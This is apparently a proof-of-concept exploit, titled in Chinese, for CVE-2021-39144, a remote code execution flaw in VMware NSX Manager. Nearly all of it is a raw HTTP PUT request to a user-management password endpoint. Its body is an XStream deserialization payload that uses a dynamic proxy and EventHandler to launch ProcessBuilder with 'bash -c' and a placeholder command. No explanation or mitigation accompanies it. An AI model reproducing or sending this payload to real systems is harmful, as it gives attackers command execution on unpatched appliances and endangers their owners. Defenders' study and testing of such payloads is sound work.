VMware NSX Manager XStream 远程代码执行漏洞（CVE-2021-39144）

PUT /api/2.0/services/usermgmt/password/abc HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Connection: closeContent-Type: application/xmlContent-Length: 546
<sorted-set>        <string>foo</string>        <dynamic-proxy>          <interface>java.lang.Comparable</interface>          <handler class="java.beans.EventHandler">            <target class="java.lang.ProcessBuilder">              <command>                <string>bash</string>                <string>-c</string>                <string>cmd</string>              </command>            </target>            <action>start</action>          </handler>        </dynamic-proxy>      </sorted-set>